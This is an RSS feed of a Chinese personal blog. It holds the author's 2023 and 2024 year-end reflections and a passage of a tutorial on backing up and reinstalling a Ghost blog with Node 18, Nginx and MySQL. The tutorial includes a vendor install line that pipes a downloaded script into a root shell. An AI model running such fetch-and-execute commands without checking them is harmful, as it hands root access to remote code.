<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[林尽欢]]></title><description><![CDATA[林尽欢，是一个关注于互联网、IT技术经验分享的个人独立博客。更新互联网最火热的IT技术文章、软件应用科技原创文章，提供全面深入的IT信息资讯服务，为访问者提供富有互联网资讯。致力成为互联网上最个性、最极客、具传播力的个人独立博客]]></description><link>https://iobiji.com/</link><image><url>https://iobiji.com/favicon.png</url><title>林尽欢</title><link>https://iobiji.com/</link></image><generator>Ghost 5.79</generator><lastBuildDate>Tue, 11 Aug 2026 14:03:27 GMT</lastBuildDate><atom:link href="https://iobiji.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[2024年总结以及新年计划]]></title><description><![CDATA[将近2024年年末，怀着几分期待和几分忐忑，做出了一个深思熟虑的决定。离开了毕业后工作的第一家公司，到了长沙工作。
离开一个待了多年的城市，心里难免有些复杂，可我觉得生活就该这样走走停停，跳出熟悉的舒适圈，去看看不同的风景。]]></description><link>https://iobiji.com/2024-summary-and-2025-plan/</link><guid isPermaLink="false">677364a955939b04dec5b3f2</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Tue, 31 Dec 2024 03:29:56 GMT</pubDate><media:content url="https://cdn.iobiji.com/2024/12/2025.jpg" medium="image"/><content:encoded><![CDATA[<h1 id="11-%E5%89%8D%E8%A8%80">1.1 &#x524D;&#x8A00;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2024/12/2025.jpg" alt="2024&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;"><p>&#x4E22;&#x6389;&#x5E7B;&#x60F3;&#xFF0C;&#x51C6;&#x5907;&#x6597;&#x4E89;&#x3002;</p>
</blockquote>
<p>&#x5C06;&#x8FD1;2024&#x5E74;&#x5E74;&#x672B;&#xFF0C;&#x6000;&#x7740;&#x51E0;&#x5206;&#x671F;&#x5F85;&#x548C;&#x51E0;&#x5206;&#x5FD0;&#x5FD1;&#xFF0C;&#x505A;&#x51FA;&#x4E86;&#x4E00;&#x4E2A;&#x6DF1;&#x601D;&#x719F;&#x8651;&#x7684;&#x51B3;&#x5B9A;&#x3002;&#x79BB;&#x5F00;&#x4E86;&#x6BD5;&#x4E1A;&#x540E;&#x5DE5;&#x4F5C;&#x7684;&#x7B2C;&#x4E00;&#x5BB6;&#x516C;&#x53F8;&#xFF0C;&#x5230;&#x4E86;&#x957F;&#x6C99;&#x5DE5;&#x4F5C;&#x3002;<br>
&#x79BB;&#x5F00;&#x4E00;&#x4E2A;&#x5F85;&#x4E86;&#x591A;&#x5E74;&#x7684;&#x57CE;&#x5E02;&#xFF0C;&#x5FC3;&#x91CC;&#x96BE;&#x514D;&#x6709;&#x4E9B;&#x590D;&#x6742;&#xFF0C;&#x53EF;&#x6211;&#x89C9;&#x5F97;&#x751F;&#x6D3B;&#x5C31;&#x8BE5;&#x8FD9;&#x6837;&#x8D70;&#x8D70;&#x505C;&#x505C;&#xFF0C;&#x8DF3;&#x51FA;&#x719F;&#x6089;&#x7684;&#x8212;&#x9002;&#x5708;&#xFF0C;&#x53BB;&#x770B;&#x770B;&#x4E0D;&#x540C;&#x7684;&#x98CE;&#x666F;&#x3002;</p>
<h1 id="12-%E5%B7%A5%E4%BD%9C">1.2 &#x5DE5;&#x4F5C;</h1>
<p>&#x4ECA;&#x5E74;&#x5DE5;&#x4F5C;&#x662F;&#x4E00;&#x4E2A;&#x6BD4;&#x8F83;&#x5927;&#x7684;&#x53D8;&#x52A8;&#xFF0C;&#x6240;&#x4EE5;&#x5148;&#x6765;&#x8BF4;&#x8BF4;&#x5DE5;&#x4F5C;&#x5427;&#x3002;&#x5076;&#x7136;&#x7684;&#x673A;&#x4F1A;&#xFF0C;&#x5728;&#x670B;&#x53CB;&#x4ECB;&#x7ECD;&#x4E0B;&#x6709;&#x4E86;&#x4E00;&#x4EFD;OFFER&#xFF0C;&#x5DE5;&#x4F5C;&#x5730;&#x70B9;&#x5728;&#x957F;&#x6C99;&#x3002;&#x60F3;&#x4E86;&#x86EE;&#x957F;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#xFF0C;&#x57FA;&#x4E8E;&#x73B0;&#x72B6;&#x7684;&#x4E00;&#x4E9B;&#x95EE;&#x9898;&#xFF0C;&#x51B3;&#x5B9A;&#x79BB;&#x804C;&#xFF0C;&#x524D;&#x5F80;&#x65B0;&#x7684;&#x8D77;&#x70B9;&#x3002;<br>
&#x6280;&#x672F;&#x6808;&#x7531;JAVA&#x53D8;&#x6210;&#x4E86;Go&#xFF0C;&#x6311;&#x6218;&#x6027;&#x4E0D;&#x5927;&#xFF0C;&#x6BD5;&#x7ADF;&#x5E73;&#x65F6;&#x4E5F;&#x6709;&#x5728;&#x5B66;&#x4E60;Golang&#x3002;<br>
&#x73B0;&#x5728;&#x5199;&#x4EE3;&#x7801;&#x6709;&#x5F88;&#x591A;&#x8003;&#x8651;&#xFF0C;&#x662F;&#x4E2A;&#x4F18;&#x70B9;&#x4E5F;&#x662F;&#x7F3A;&#x70B9;&#xFF0C;&#x6709;&#x65F6;&#x4F1A;&#x5C06;&#x95EE;&#x9898;&#x590D;&#x6742;&#x5316;&#xFF0C;&#x5E0C;&#x671B;&#x81EA;&#x5DF1;&#x63A5;&#x4E0B;&#x6765;&#x53EF;&#x4EE5;&#x5728;&#x4E2D;&#x95F4;&#x627E;&#x4E2A;&#x5E73;&#x8861;&#x70B9;&#x3002;</p>
<h1 id="13-%E7%94%9F%E6%B4%BB">1.3 &#x751F;&#x6D3B;</h1>
<p>&#x4ECE;&#x5E7F;&#x5DDE;&#x5230;&#x957F;&#x6C99;&#xFF0C;&#x751F;&#x6D3B;&#x73AF;&#x5883;&#x4E5F;&#x6709;&#x86EE;&#x5927;&#x6539;&#x53D8;&#x3002;&#x6765;&#x4E4B;&#x524D;&#x6211;&#x8FD8;&#x633A;&#x62C5;&#x5FC3;&#x5403;&#x4E0D;&#x4E60;&#x60EF;&#x957F;&#x6C99;&#x7684;&#x996E;&#x98DF;&#xFF0C;&#x6BD5;&#x7ADF;&#x4E0D;&#x592A;&#x80FD;&#x5403;&#x8FA3;&#xFF0C;&#x51FA;&#x4E4E;&#x610F;&#x6599;&#xFF0C;&#x5E76;&#x6CA1;&#x6709;&#x60F3;&#x8C61;&#x4E2D;&#x8FA3;&#x5F97;&#x4E0D;&#x53EF;&#x63A5;&#x53D7;&#x3002;<br>
&#x516C;&#x53F8;&#x63D0;&#x4F9B;&#x4F4F;&#x5BBF;&#xFF0C;&#x4F46;&#x56E0;&#x4E3A;&#x4E0D;&#x592A;&#x4E60;&#x60EF;&#x548C;&#x522B;&#x4EBA;&#x5408;&#x4F4F;&#xFF0C;&#x52A0;&#x4E0A;&#x81EA;&#x5DF1;&#x6709;&#x6BD4;&#x8F83;&#x4E25;&#x91CD;&#x7684;&#x6D01;&#x7656;&#xFF0C;&#x6700;&#x7EC8;&#x9009;&#x62E9;&#x4E86;&#x79DF;&#x4E00;&#x5957;&#x4E00;&#x5BA4;&#x4E00;&#x5385;&#x7684;&#x5C0F;&#x516C;&#x5BD3;&#x4F4F;&#x4E0B;&#x3002;&#x5C0F;&#x533A;&#x73AF;&#x5883;&#x8FD8;&#x53EF;&#x4EE5;&#xFF0C;&#x8D70;&#x8DEF;&#x901A;&#x52E4;&#x5230;&#x516C;&#x53F8;20&#x5206;&#x949F;&#x5DE6;&#x53F3;&#x3002;&#x642C;&#x5230;&#x957F;&#x6C99;&#x540E;&#xFF0C;&#x8DDD;&#x79BB;&#x5BB6;&#x4EBA;&#x66F4;&#x8FDC;&#x4E86;&#xFF0C;&#x548C;&#x5BB6;&#x4EBA;&#x7684;&#x8054;&#x7CFB;&#x5374;&#x66F4;&#x9891;&#x7E41;&#x4E86;&#x3002;<br>
&#x56E0;&#x7F18;&#x9645;&#x4F1A;&#xFF0C;&#x9694;&#x7740;&#x7F51;&#x7EBF;&#xFF0C;&#x8BA4;&#x8BC6;&#x4E86;&#x4E00;&#x4E9B;&#x804A;&#x5F97;&#x6765; &#x3001;&#x540C;&#x7231;&#x597D;&#x6253;CS&#x7684;&#x670B;&#x53CB;&#x3002;</p>
<h1 id="14-%E8%AE%A1%E5%88%92">1.4 &#x8BA1;&#x5212;</h1>
<ul>
<li>[ ] &#x63D0;&#x9AD8;GO&#x8BED;&#x8A00;&#x7684;&#x8FD0;&#x7528;&#x80FD;&#x529B;</li>
<li>[ ] &#x591A;&#x51FA;&#x95E8;&#x8D70;&#x8D70;</li>
</ul>
<h1 id="15-%E7%BB%93%E8%AF%AD">1.5 &#x7ED3;&#x8BED;</h1>
<blockquote>
<p>with you all the best 2025</p>
</blockquote>
<p>&#x544A;&#x522B;2024&#xFF0C;&#x8FCE;&#x6765;&#x5145;&#x6EE1;&#x65E0;&#x9650;&#x53EF;&#x80FD;&#x7684;2025&#x3002;&#x795D;&#x5927;&#x5BB6;&#x65B0;&#x7684;&#x4E00;&#x5E74;&#x91CC;&#x5DE5;&#x4F5C;&#x987A;&#x5229;&#xFF0C;&#x4E00;&#x5207;&#x5B89;&#x597D;&#x3002;&#x65B0;&#x5E74;&#x5FEB;&#x4E50;&#xFF01;</p>
]]></content:encoded></item><item><title><![CDATA[2023年总结以及新年计划]]></title><description><![CDATA[尝遍`二零二三`年的`酸甜苦辣`，终是迎来了新的一年。连续写了`三年`的年总结和计划，本来今年是打算不写了，但是当翻看以前写的总结时，字里行间的一些话，封藏的记忆从脑海中如画面一般涌现出来，或许年终总结是珍藏记忆最好的方式吧。]]></description><link>https://iobiji.com/2023-summary-and-2024-plan/</link><guid isPermaLink="false">6581bf291506c0e3675ecafa</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Sun, 31 Dec 2023 16:00:50 GMT</pubDate><media:content url="https://cdn.iobiji.com/2023/12/2024.jpg" medium="image"/><content:encoded><![CDATA[<h1 id="11-%E5%89%8D%E8%A8%80">1.1 &#x524D;&#x8A00;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2023/12/2024.jpg" alt="2023&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;"><p>LIVE A LITTLE,PLS.</p>
</blockquote>
<p>&#x5C1D;&#x904D;<code>&#x4E8C;&#x96F6;&#x4E8C;&#x4E09;</code>&#x5E74;&#x7684;<code>&#x9178;&#x751C;&#x82E6;&#x8FA3;</code>&#xFF0C;&#x7EC8;&#x662F;&#x8FCE;&#x6765;&#x4E86;&#x65B0;&#x7684;&#x4E00;&#x5E74;&#x3002;&#x8FDE;&#x7EED;&#x5199;&#x4E86;<code>&#x4E09;&#x5E74;</code>&#x7684;&#x5E74;&#x603B;&#x7ED3;&#x548C;&#x8BA1;&#x5212;&#xFF0C;&#x672C;&#x6765;&#x4ECA;&#x5E74;&#x662F;&#x6253;&#x7B97;&#x4E0D;&#x5199;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x5F53;&#x7FFB;&#x770B;&#x4EE5;&#x524D;&#x5199;&#x7684;&#x603B;&#x7ED3;&#x65F6;&#xFF0C;&#x5B57;&#x91CC;&#x884C;&#x95F4;&#x7684;&#x4E00;&#x4E9B;&#x8BDD;&#xFF0C;&#x5C01;&#x85CF;&#x7684;&#x8BB0;&#x5FC6;&#x4ECE;&#x8111;&#x6D77;&#x4E2D;&#x5982;&#x753B;&#x9762;&#x4E00;&#x822C;&#x6D8C;&#x73B0;&#x51FA;&#x6765;&#xFF0C;&#x6216;&#x8BB8;&#x5E74;&#x7EC8;&#x603B;&#x7ED3;&#x662F;&#x73CD;&#x85CF;&#x8BB0;&#x5FC6;&#x6700;&#x597D;&#x7684;&#x65B9;&#x5F0F;&#x5427;&#x3002;</p>
<h1 id="12-%E6%AF%95%E4%B8%9A%E4%BA%86">1.2 &#x6BD5;&#x4E1A;&#x4E86;</h1>
<p><code>2023 &#x5E74;&#x516D;&#x6708;&#x4E2D;&#x65EC;</code>&#xFF0C;&#x606D;&#x559C;&#x6797;&#x5148;&#x751F;&#x987A;&#x5229;&#x6BD5;&#x4E1A;&#x3002;&#x6536;&#x83B7;&#x4E86;&#x4E00;&#x4E9B;&#x670B;&#x53CB;&#x548C;&#x7F8E;&#x597D;&#x7684;&#x56DE;&#x5FC6;&#xFF0C;&#x5F53;&#x7136;&#x66F4;&#x591A;&#x662F;&#x6821;&#x961F;&#x91CC;&#x7684;&#x961F;&#x53CB;&#xFF0C;&#x6211;&#x4EEC;&#x5404;&#x81EA;&#x52AA;&#x529B;&#xFF0C;&#x9876;&#x5CF0;&#x518D;&#x89C1;&#x3002;&#x5728;&#x8FD9;&#x91CC;&#xFF0C;&#x5F88;&#x611F;&#x8C22;&#x4E00;&#x4F4D;&#x8001;&#x5E08;&#x5BF9;&#x6211;&#x7684;&#x77E5;&#x9047;&#x4E4B;&#x6069;&#xFF0C;&#x4EA6;&#x662F;&#x6211;&#x7684;&#x4F2F;&#x4E50;&#xFF0C;&#x4E5F;&#x5E0C;&#x671B;&#x4ED6;&#x4E00;&#x5207;&#x987A;&#x5229;&#xFF0C;&#x6240;&#x613F;&#x7686;&#x6240;&#x6210;&#x3002;</p>
<p><img src="https://cdn.iobiji.com/2024/01/2023141.jpg" alt="2023&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;" loading="lazy"></p>
<p><img src="https://cdn.iobiji.com/2023/12/image-20231220230424866.png" alt="2023&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;" loading="lazy"></p>
<h1 id="13-%E5%B7%A5%E4%BD%9C%E4%BA%86">1.3 &#x5DE5;&#x4F5C;&#x4E86;</h1>
<ul>
<li>JAVA&#x540E;&#x7AEF;&#x5F00;&#x53D1;&#x5DE5;&#x7A0B;&#x5E08; base&#x5E7F;&#x5DDE;<br>
&#x627E;&#x5230;&#x4E86;&#x4E00;&#x4EFD;&#x4E0D;&#x9519;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;8 &#x6708;&#x4EFD;&#x4EFB;&#x804C;&#xFF0C;&#x76EE;&#x524D;&#x5DF2;&#x987A;&#x5229;&#x8F6C;&#x6B63;&#x3002;&#x8FD9;&#x6BB5;&#x65F6;&#x95F4;&#x6536;&#x83B7;&#x4E86;&#x4E2A;&#x4EBA;&#x5916;&#x5305;&#x6240;&#x6D89;&#x53CA;&#x4E0D;&#x5230;&#x7684;&#x77E5;&#x8BC6;&#xFF0C;&#x4E5F;&#x79EF;&#x7D2F;&#x4E86;&#x66F4;&#x591A;&#x7684;&#x7ECF;&#x9A8C;&#xFF0C;&#x52A0;&#x5F3A;&#x4E86;&#x5BF9;&#x4E1A;&#x52A1;&#x6DF1;&#x5165;&#x7406;&#x89E3;&#x80FD;&#x529B;&#x3002;&#x6700;&#x91CD;&#x8981;&#x7684;&#x662F;&#x529E;&#x516C;&#x5BA4;&#x6C1B;&#x56F4;&#x4E0D;&#x538B;&#x6291;&#xFF0C;&#x540C;&#x4E8B;&#x4EEC;&#x90FD;&#x5F88;&#x597D;&#xFF01;</li>
<li>&#x5B66;&#x4E60;&#x5230;&#x7684;
<ol>
<li>MYSQL&#x8054;&#x5408;&#x7D22;&#x5F15;&#x7684;&#x4F18;&#x5316;</li>
<li>&#x5343;&#x4E07;&#x7EA7;&#x6570;&#x636E;&#x5904;&#x7406;&amp;&#x8C03;&#x4F18;</li>
<li>...</li>
</ol>
</li>
<li>&#x4E45;&#x5750;&#x810A;&#x690E;&#x771F;&#x7684;&#x4F1A;&#x4E0D;&#x8212;&#x670D;&#xFF0C;&#x6700;&#x8FD1;&#x773C;&#x775B;&#x4E5F;&#x6709;&#x75B2;&#x52B3;&#x7684;&#x611F;&#x89C9;&#xFF0C;&#x5509;&#xFF0C;&#x6311;&#x6B3E;&#x773C;&#x836F;&#x6C34;&#x5427;&#x3002;</li>
</ul>
<h1 id="14-%E5%BA%B7%E5%A4%8D%E8%AE%AD%E7%BB%83">1.4 &#x5EB7;&#x590D;&#x8BAD;&#x7EC3;</h1>
<blockquote>
<p>&#x575A;&#x6301;&#x5C31;&#x662F;&#x80DC;&#x5229;</p>
</blockquote>
<p>&#x953B;&#x70BC;&#x8EAB;&#x4F53;&#x6C38;&#x8FDC;&#x662F;&#x4E00;&#x4EF6;&#x503C;&#x5F97;&#x6295;&#x8D44;&#x7684;&#x4E00;&#x4EF6;&#x4E8B;&#x3002;&#x7531;&#x4E8E;&#x4E00;&#x4E9B;&#x4E8B;&#x60C5;&#xFF0C;&#x4E4B;&#x524D;&#x6709;&#x5F88;&#x957F;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x90FD;&#x6CA1;&#x6709;&#x597D;&#x597D;&#x5065;&#x8EAB;&#x4E86;&#xFF0C;&#x6700;&#x8FD1;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x624D;<code>&#x5EB7;&#x590D;&#x8BAD;&#x7EC3;</code>&#xFF0C;&#x4E3B;&#x8981;&#x8FD8;&#x662F;&#x505A;&#x4E00;&#x4E9B;&#x5C45;&#x5BB6;&#x80FD;&#x591F;&#x953B;&#x70BC;&#x7684;&#x52A8;&#x4F5C;&#xFF0C;&#x5F3A;&#x5EA6;&#x4E0D;&#x5927;&#xFF0C;&#x4F46;&#x4E5F;&#x575A;&#x6301;&#x4E09;&#x4E2A;&#x6708;&#x4E86;&#x3002;</p>
<h1 id="15-%E9%A2%98%E5%A4%96%E8%AF%9D">1.5 &#x9898;&#x5916;&#x8BDD;</h1>
<p>&#x6211;&#x7684;&#x9752;&#x6625;&#x968F;&#x7740;<code>CSGO</code>&#x7684;&#x5173;&#x670D;&#x7ED3;&#x675F;&#x4E86;&#xFF0C;&#x6211;&#x518D;&#x4E5F;&#x611F;&#x53D7;&#x4E0D;&#x5230;&#x6253;&#x6B8B;&#x5C40;&#x65F6;&#x80BE;&#x4E0A;&#x817A;&#x7D20;&#x98D9;&#x5347;&#x7684;&#x90A3;&#x79CD;&#x611F;&#x89C9;&#xFF0C;&#x5979;&#x4E0E;&#x6B8B;&#x5C40;&#x7686;&#x9057;&#x61BE;&#x1F62D;&#x3002;CSGO &#x7684;&#x5173;&#x670D;&#x53EA;&#x4E3A;&#x4E86; <code>CS2</code> &#x7684;&#x63A8;&#x51FA;&#xFF0C;<code>CS2</code> &#x6839;&#x672C;&#x4E0D;&#x662F; <code>CS</code>&#xFF0C;&#x5B83;&#x53EA;&#x662F;&#x4E3A;&#x4E86;<strong>&#x8FCE;&#x5408;&#x65F6;&#x4EE3;&#x6F6E;&#x6D41;&#x7684;&#x4EA7;&#x7269;</strong>&#xFF0C;&#x4E0D;&#x63A5;&#x53D7;&#x53CD;&#x9A73;&#x3002;</p>
<h1 id="16-%E8%AE%A1%E5%88%92">1.6 &#x8BA1;&#x5212;</h1>
<ul>
<li>[x] &#x8FC1;&#x79FB;&#x5347;&#x7EA7;&#x535A;&#x5BA2;</li>
<li>[ ] &#x8BFB;&#x4E00;&#x4E9B;&#x4E66;</li>
<li>[ ] &#x60F3;&#x5230;&#x518D;&#x52A0;</li>
</ul>
<h1 id="17-%E7%BB%93%E8%AF%AD">1.7 &#x7ED3;&#x8BED;</h1>
<p><strong>&#x65E7;&#x5E74;&#x7FFB;&#x7BC7;&#xFF0C;&#x4E00;&#x5207;&#x5982;&#x65B0;&#x3002;&#x795D;&#x798F;&#x5927;&#x5BB6;&#x65B0;&#x5E74;&#x5FEB;&#x4E50;&#xFF0C;&#x4E07;&#x4E8B;&#x5982;&#x610F;&#xFF0C;&#x5728;&#x65B0;&#x7684;&#x4E00;&#x5E74;&#x91CC;&#x7EE7;&#x7EED;&#x6536;&#x83B7;&#x7F8E;&#x597D;&#xFF01;</strong></p>
]]></content:encoded></item><item><title><![CDATA[Ghost 博客迁移重装]]></title><description><![CDATA[2019 至今，原来已经四年了。早期安装 GHOST 环境的时候，系统版本、node 版本都比较低，Ghost 迭代更新很快，而最新版需要 node18版本的支持，现有Ubuntu16版本低，无法正常编译 node18 的依赖，所以就导致现在升不上去 ghost 最新版，于是乎打算迁移重装。]]></description><link>https://iobiji.com/ghost-migrate/</link><guid isPermaLink="false">656f3e8cd732aa747eb2824f</guid><category><![CDATA[学习笔记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Tue, 05 Dec 2023 15:20:52 GMT</pubDate><media:content url="https://cdn.iobiji.com/2023/12/ghost-review.png" medium="image"/><content:encoded><![CDATA[<h1 id="charpter-1-%E5%89%8D%E8%A8%80">Charpter 1 &#x524D;&#x8A00;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2023/12/ghost-review.png" alt="Ghost &#x535A;&#x5BA2;&#x8FC1;&#x79FB;&#x91CD;&#x88C5;"><p>&#x7B49;&#x5230;&#x82B1;&#x5F00;</p>
</blockquote>
<p>2019 &#x81F3;&#x4ECA;&#xFF0C;&#x539F;&#x6765;&#x5DF2;&#x7ECF;&#x56DB;&#x5E74;&#x4E86;&#x3002;&#x65E9;&#x671F;&#x5B89;&#x88C5; GHOST &#x73AF;&#x5883;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x7CFB;&#x7EDF;&#x7248;&#x672C;&#x3001;node &#x7248;&#x672C;&#x90FD;&#x6BD4;&#x8F83;&#x4F4E;&#xFF0C;Ghost &#x8FED;&#x4EE3;&#x66F4;&#x65B0;&#x5F88;&#x5FEB;&#xFF0C;&#x800C;&#x6700;&#x65B0;&#x7248;&#x9700;&#x8981; node18&#x7248;&#x672C;&#x7684;&#x652F;&#x6301;&#xFF0C;&#x73B0;&#x6709;Ubuntu16&#x7248;&#x672C;&#x4F4E;&#xFF0C;&#x65E0;&#x6CD5;&#x6B63;&#x5E38;&#x7F16;&#x8BD1; node18 &#x7684;&#x4F9D;&#x8D56;&#xFF0C;&#x6240;&#x4EE5;&#x5C31;&#x5BFC;&#x81F4;&#x73B0;&#x5728;&#x5347;&#x4E0D;&#x4E0A;&#x53BB; ghost &#x6700;&#x65B0;&#x7248;&#xFF0C;&#x4E8E;&#x662F;&#x4E4E;&#x6253;&#x7B97;&#x8FC1;&#x79FB;&#x91CD;&#x88C5;&#x3002;</p>
<h1 id="charpter-2-%E5%A4%87%E4%BB%BD%E6%95%B0%E6%8D%AE">Charpter 2 &#x5907;&#x4EFD;&#x6570;&#x636E;</h1>
<blockquote>
<p>Ghost&#x5907;&#x4EFD;&#x8FD8;&#x662F;&#x5F88;&#x7B80;&#x5355;&#x7684;</p>
</blockquote>
<h2 id="cap-21">Cap 2.1</h2>
<p>&#x8FDB;&#x5165;&#x540E;&#x53F0;&#x627E;&#x5230; Labs &#x5B9E;&#x9A8C;&#x5BA4;&#xFF0C;&#x5982;&#x56FE;(&#x56FE;&#x6765;&#x81EA;&#x6700;&#x65B0;&#x7248; Ghost&#xFF0C;&#x65E7;&#x7248;&#x6709;&#x70B9;&#x4E0D;&#x4E00;&#x6837;&#xFF0C;&#x4E0D;&#x8FC7;&#x90FD;&#x662F; Labs &#x5173;&#x952E;&#x5B57;)</p>
<p><img src="https://cdn.iobiji.com/2023/12/image-20231205222031443.png" alt="Ghost &#x535A;&#x5BA2;&#x8FC1;&#x79FB;&#x91CD;&#x88C5;" loading="lazy"></p>
<p>&#x7136;&#x540E; Export &#x5C31;&#x597D;&#xFF0C;&#x4FDD;&#x5B58;&#x597D;&#x5BFC;&#x51FA;&#x7684; JSON &#x6587;&#x4EF6;&#x3002;</p>
<h2 id="cap-22">Cap 2.2</h2>
<p>&#x767B;&#x5165;&#x670D;&#x52A1;&#x5668;&#x7EC8;&#x7AEF;&#xFF0C;&#x8FDB;&#x5165;&#x5230; ghost &#x4E3B;&#x7A0B;&#x5E8F;&#x76EE;&#x5F55;</p>
<pre><code class="language-bash">ghost backup #&#x6267;&#x884C;&#x540E;&#x4F1A;&#x6709;&#x4EE5;&#x4E0B;&#x8F93;&#x51FA;

Love open source? We&#x2019;re hiring JavaScript Engineers to work on Ghost full-time.
https://careers.ghost.org


+ sudo systemctl is-active ghost_iobiji-com
? Sudo Password [input is hidden] 
# &#x8F93;&#x5165;&#x767B;&#x5F55;&#x7EC8;&#x7AEF;&#x7528;&#x6237;&#x5BC6;&#x7801;&#x8FDB;&#x884C;&#x4E0B;&#x4E00;&#x6B65;
+ sudo mkdir -p /var/www/biji/backup
? Enter your Ghost administrator email address 
# &#x8F93;&#x5165;Ghost &#x540E;&#x53F0;&#x767B;&#x5165;&#x90AE;&#x7BB1;
? Enter your Ghost administrator password [input is hidden]
# &#x8F93;&#x5165;Ghost &#x540E;&#x53F0;&#x767B;&#x5165;&#x5BC6;&#x7801;
# &#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x540E;&#x4F1A;&#x5728;&#x5F53;&#x524D;&#x76EE;&#x5F55;&#x751F;&#x6210; backup &#x6587;&#x4EF6;&#x5939;&#xFF0C;&#x8FDB;&#x53BB;&#x628A;&#x5907;&#x4EFD;&#x538B;&#x7F29;&#x5305;&#x4E0B;&#x8F7D;&#x5230;&#x672C;&#x5730;&#x7559;&#x5B58;
</code></pre>
<p>&#x5F97;&#x5230;&#x7684;&#x538B;&#x7F29;&#x5305;&#x89E3;&#x538B;&#x5982;&#x56FE;:</p>
<p><img src="https://cdn.iobiji.com/2023/12/image-20231205222648495.png" alt="Ghost &#x535A;&#x5BA2;&#x8FC1;&#x79FB;&#x91CD;&#x88C5;" loading="lazy"></p>
<p>&#x6BD4;&#x8F83;&#x91CD;&#x8981;&#x7684;&#x76EE;&#x5F55;</p>
<ul>
<li>images &#x6587;&#x7AE0;&#x56FE;&#x7247;</li>
<li>media &#x5A92;&#x4F53;&#x6587;&#x4EF6;</li>
<li>settings &#x8DEF;&#x7531;&#x914D;&#x7F6E;&#x6587;&#x4EF6;(&#x53EF;&#x4EE5;&#x5FFD;&#x7565;)</li>
<li>themes &#x4E3B;&#x9898;&#x6587;&#x4EF6;</li>
</ul>
<blockquote>
<p>Ghost &#x662F;&#x6709;&#x7528;&#x5230; MYSQL &#x6570;&#x636E;&#x5E93;&#x5B58;&#x50A8;&#x7684;&#xFF0C;&#x53EA;&#x4E0D;&#x8FC7;&#x6CA1;&#x6709;&#x5FC5;&#x8981;&#x518D;&#x53BB;&#x5907;&#x4EFD;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x6309;&#x7167;&#x4E0A;&#x9762;&#x4E24;&#x4E2A;&#x6B65;&#x9AA4;&#x5907;&#x4EFD;&#xFF0C;&#x6570;&#x636E;&#x5907;&#x4EFD;&#x51FA;&#x6765;&#x4E5F;&#x662F;&#x5B8C;&#x6574;&#x7684;&#x3002;</p>
</blockquote>
<h1 id="charpter-3-%E5%AE%89%E8%A3%85%E7%8E%AF%E5%A2%83">Charpter 3 &#x5B89;&#x88C5;&#x73AF;&#x5883;</h1>
<blockquote>
<p>&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;: Ubuntu Server 22.04 LTS 64&#x4F4D;</p>
<p>&#x5185;&#x5B58;: 2G</p>
<p>CPU: 1&#x6838;</p>
<p>&#x516C;&#x7F51;&#x5E26;&#x5BBD;: 1Mpbs</p>
</blockquote>
<p>Ghost&#x2019;s current recommended Node version is Node v18 LTS.</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Support Level</th>
</tr>
</thead>
<tbody>
<tr>
<td>17.x and below</td>
<td>Unsupported</td>
</tr>
<tr>
<td><strong>18.x (Node v18 Hydrogen LTS)</strong></td>
<td><strong>Recommended</strong></td>
</tr>
<tr>
<td>19.x and above</td>
<td>Unsupported</td>
</tr>
</tbody>
</table>
<p>&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;&#x81EA;&#x884C;&#x91CD;&#x88C5;&#xFF0C;&#x4E0D;&#x8FC7;&#x591A;&#x8BB2;&#x8FF0;&#x3002;</p>
<h2 id="cap-31-%E5%AE%89%E8%A3%85node-18">Cap 3.1 &#x5B89;&#x88C5;node 18</h2>
<pre><code class="language-bash"># &#x7EC8;&#x7AEF;&#x6267;&#x884C;&#x547D;&#x4EE4;
curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install -y nodejs
node -v # &#x67E5;&#x770B;node&#x7248;&#x672C;
</code></pre>
<h2 id="cap-32-%E5%AE%89%E8%A3%85nginx-%E7%8E%AF%E5%A2%83mysql-%E6%95%B0%E6%8D%AE%E5%BA%93">Cap 3.2 &#x5B89;&#x88C5;Nginx &#x73AF;&#x5883;&amp;MYSQL &#x6570;&#x636E;&#x5E93;</h2>
<pre><code class="language-bash">sudo apt-get install nginx
nginx -v # &#x8F93;&#x51FA;&#x7248;&#x672C;&#x53F7;
sudo ufw allow &apos;Nginx Full&apos; # &#x9632;&#x706B;&#x5899;&#x5141;&#x8BB8;HTTP&#x548C;HTTPS&#x8FDE;&#x63A5;

sudo apt install mysql-server
sudo mysql # &#x8FDB;&#x5165;&#x6570;&#x636E;&#x5E93;&#x7BA1;&#x7406;
ALTER USER &apos;root&apos;@&apos;localhost&apos; IDENTIFIED WITH mysql_native_password BY &apos;&#x8981;&#x8BBE;&#x7F6E;&#x7684;&#x5BC6;&#x7801;&apos;;# &#x4FEE;&#x6539;&#x9ED8;&#x8BA4;&#x5BC6;&#x7801;
